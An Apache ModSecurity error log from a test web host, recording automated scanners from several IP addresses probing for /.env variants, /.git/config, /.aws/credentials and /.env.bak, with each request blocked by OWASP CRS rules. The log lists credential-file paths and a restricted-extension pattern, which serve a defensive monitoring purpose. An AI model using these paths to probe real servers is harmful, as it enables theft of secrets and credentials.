[Wed Sep 18 20:57:57.652802 2024] [:error] [pid 1997978] [client 45.148.10.206:41152] [client 45.148.10.206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZusitVFiJi9PTO2D2jAtGwAAAAE"]
[Wed Sep 18 20:57:57.655306 2024] [:error] [pid 1997978] [client 45.148.10.206:41152] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZusitVFiJi9PTO2D2jAtGwAAAAE"]
[Wed Sep 18 20:57:57.655970 2024] [:error] [pid 1997978] [client 45.148.10.206:41152] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZusitVFiJi9PTO2D2jAtGwAAAAE"]
[Thu Sep 19 04:16:18.350752 2024] [:error] [pid 2032560] [client 54.83.229.91:42834] [client 54.83.229.91] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuuJcsUUAycnMPl3DbY4lwAAAAI"]
[Thu Sep 19 04:16:18.351459 2024] [:error] [pid 2032560] [client 54.83.229.91:42834] [client 54.83.229.91] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuuJcsUUAycnMPl3DbY4lwAAAAI"]
[Thu Sep 19 04:16:18.351873 2024] [:error] [pid 2032560] [client 54.83.229.91:42834] [client 54.83.229.91] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuuJcsUUAycnMPl3DbY4lwAAAAI"]
[Thu Sep 19 06:56:42.325623 2024] [authz_core:error] [pid 2032562] [client 34.68.228.68:45448] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/
[Thu Sep 19 10:10:49.667442 2024] [:error] [pid 2032563] [client 45.148.10.172:37802] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuvciRo7WNWO8gy_L0RUyAAAAAU"]
[Thu Sep 19 10:10:49.668221 2024] [:error] [pid 2032563] [client 45.148.10.172:37802] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuvciRo7WNWO8gy_L0RUyAAAAAU"]
[Thu Sep 19 10:10:49.668647 2024] [:error] [pid 2032563] [client 45.148.10.172:37802] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuvciRo7WNWO8gy_L0RUyAAAAAU"]
[Thu Sep 19 18:27:07.624709 2024] [:error] [pid 2032562] [client 45.148.10.206:58688] [client 45.148.10.206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxQ20VEDbOEUEDttc0hiAAAAAQ"]
[Thu Sep 19 18:27:07.625142 2024] [:error] [pid 2032562] [client 45.148.10.206:58688] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxQ20VEDbOEUEDttc0hiAAAAAQ"]
[Thu Sep 19 18:27:07.625393 2024] [:error] [pid 2032562] [client 45.148.10.206:58688] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxQ20VEDbOEUEDttc0hiAAAAAQ"]
[Thu Sep 19 20:46:49.047520 2024] [:error] [pid 2043514] [client 45.200.148.16:53472] [client 45.200.148.16] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxxmdsqYZIYaLKbl_9cOgAAABA"]
[Thu Sep 19 20:46:49.048155 2024] [:error] [pid 2043514] [client 45.200.148.16:53472] [client 45.200.148.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxxmdsqYZIYaLKbl_9cOgAAABA"]
[Thu Sep 19 20:46:49.048810 2024] [:error] [pid 2043514] [client 45.200.148.16:53472] [client 45.200.148.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZuxxmdsqYZIYaLKbl_9cOgAAABA"]
[Thu Sep 19 22:18:23.251297 2024] [:error] [pid 2048989] [client 179.43.149.114:48690] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuyHD5K4W9lpEOBrhR9DFwAAAAg"]
[Thu Sep 19 22:18:23.251772 2024] [:error] [pid 2048989] [client 179.43.149.114:48690] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuyHD5K4W9lpEOBrhR9DFwAAAAg"]
[Thu Sep 19 22:18:23.252231 2024] [:error] [pid 2048989] [client 179.43.149.114:48690] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZuyHD5K4W9lpEOBrhR9DFwAAAAg"]
[Thu Sep 19 22:18:23.296606 2024] [:error] [pid 2048988] [client 179.43.149.114:48698] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.exemple"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.exemple"] [unique_id "ZuyHDynGMA_vyF2guL_nEwAAAAY"]
[Thu Sep 19 22:18:23.297145 2024] [:error] [pid 2048988] [client 179.43.149.114:48698] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.exemple"] [unique_id "ZuyHDynGMA_vyF2guL_nEwAAAAY"]
[Thu Sep 19 22:18:23.297614 2024] [:error] [pid 2048988] [client 179.43.149.114:48698] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.exemple"] [unique_id "ZuyHDynGMA_vyF2guL_nEwAAAAY"]
[Thu Sep 19 22:18:23.346845 2024] [:error] [pid 2048959] [client 179.43.149.114:48710] [client 179.43.149.114] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_exemple"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_exemple"] [unique_id "ZuyHD3DoyPlUs_Um9ns0OgAAAAk"]
[Thu Sep 19 22:18:23.347329 2024] [:error] [pid 2048959] [client 179.43.149.114:48710] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_exemple"] [unique_id "ZuyHD3DoyPlUs_Um9ns0OgAAAAk"]
[Thu Sep 19 22:18:23.347767 2024] [:error] [pid 2048959] [client 179.43.149.114:48710] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_exemple"] [unique_id "ZuyHD3DoyPlUs_Um9ns0OgAAAAk"]
[Thu Sep 19 22:18:23.956815 2024] [:error] [pid 2048986] [client 179.43.149.114:39998] [client 179.43.149.114] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZuyHDzYvW1JX-xsXsvKkAQAAAAU"]
[Thu Sep 19 22:18:23.957285 2024] [:error] [pid 2048986] [client 179.43.149.114:39998] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZuyHDzYvW1JX-xsXsvKkAQAAAAU"]
[Thu Sep 19 22:18:23.957776 2024] [:error] [pid 2048986] [client 179.43.149.114:39998] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZuyHDzYvW1JX-xsXsvKkAQAAAAU"]
[Sat Sep 21 00:15:20.357588 2024] [:error] [pid 2075104] [client 195.178.110.21:37956] [client 195.178.110.21] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zu3z-EaEjuqgUZcupf-OlQAAAAU"]
[Sat Sep 21 00:15:20.357903 2024] [:error] [pid 2075104] [client 195.178.110.21:37956] [client 195.178.110.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zu3z-EaEjuqgUZcupf-OlQAAAAU"]
[Sat Sep 21 00:15:20.358125 2024] [:error] [pid 2075104] [client 195.178.110.21:37956] [client 195.178.110.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zu3z-EaEjuqgUZcupf-OlQAAAAU"]
[Wed Sep 25 17:15:32.480411 2024] [:error] [pid 2172408] [client 179.43.152.66:51740] [client 179.43.152.66] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZvQpFPJwuJ3iA-H3h2OzxQAAAA8"]
[Wed Sep 25 17:15:32.482481 2024] [:error] [pid 2172408] [client 179.43.152.66:51740] [client 179.43.152.66] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZvQpFPJwuJ3iA-H3h2OzxQAAAA8"]
[Wed Sep 25 17:15:32.482982 2024] [:error] [pid 2172408] [client 179.43.152.66:51740] [client 179.43.152.66] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZvQpFPJwuJ3iA-H3h2OzxQAAAA8"]
[Thu Oct 10 01:31:31.760077 2024] [:error] [pid 2506444] [client 92.118.39.244:39950] [client 92.118.39.244] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZwcSU4hB2yPXEHlfXRIQiQAAAAI"]
[Thu Oct 10 01:31:31.761937 2024] [:error] [pid 2506444] [client 92.118.39.244:39950] [client 92.118.39.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZwcSU4hB2yPXEHlfXRIQiQAAAAI"]
[Thu Oct 10 01:31:31.762424 2024] [:error] [pid 2506444] [client 92.118.39.244:39950] [client 92.118.39.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZwcSU4hB2yPXEHlfXRIQiQAAAAI"]
[Sun Oct 13 07:29:05.958297 2024] [:error] [pid 2571767] [client 194.163.184.179:36362] [client 194.163.184.179] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ZwtaoR3ayh9yEca2G_vnDAAAAAE"]
[Sun Oct 13 07:29:05.959053 2024] [:error] [pid 2571767] [client 194.163.184.179:36362] [client 194.163.184.179] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ZwtaoR3ayh9yEca2G_vnDAAAAAE"]
[Sun Oct 13 07:29:05.959757 2024] [:error] [pid 2571767] [client 194.163.184.179:36362] [client 194.163.184.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ZwtaoR3ayh9yEca2G_vnDAAAAAE"]
